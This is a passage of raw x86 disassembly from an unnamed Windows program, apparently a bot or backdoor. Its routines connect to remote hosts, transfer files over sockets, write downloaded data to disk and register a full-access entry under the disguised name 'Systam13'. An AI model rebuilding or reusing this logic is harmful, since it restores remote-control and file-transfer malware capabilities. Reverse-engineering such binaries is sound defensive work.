		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B56p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444340


loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch


loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2610000h
		mov	ebx, offset dword_443A34
		mov	edi, 80h
		mov	esi, offset dword_43FA34


loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43FA34
		xor	ecx, ecx


loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_443A34
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43FA34


loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A


loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B00o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax


loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43FA34


loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144


loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C0FB


loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172AE
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"


loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43F61C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43F68C
		jmp	short loc_40C205
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43F5D4


loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43F644
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx


loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8


loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx


loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43F6E8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43F6A8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43F700


loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------


loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi


loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25F0962h
		nop


loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_43C80C
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172AE
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h


loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		call	near ptr 260086Bh
		nop
		xor	edi, edi
		mov	esi, 1000h


loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		nop
		call	near ptr 260086Bh
		push	7
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E


loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417076
		pop	ecx
		push	edi
		nop
		call	near ptr 25F0962h
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Co

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43F668
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43F694
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43F60C
		push	[ebp+var_2E]
		call	dword_43F5A4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx


loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------


loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al


loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43F690
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	near ptr 2640764h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		nop
		call	near ptr 2680000h
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	eax
		call	dword_43F664
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43F650
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------


loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180


loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43F700
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h


loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax


loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	near ptr 26C0000h
		nop
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	near ptr 262109Ch
		nop
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43F6B8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43F680
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]


loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		call	near ptr 26217F0h
		nop
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172AE


loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h


loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h


loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43F700


loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417076
		pop	ecx
		push	esi
		nop
		call	near ptr 25F0962h


loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0962h
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 260090Eh
		nop
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172AE
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2640764h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 26217F0h
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0


loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------


loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h


loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
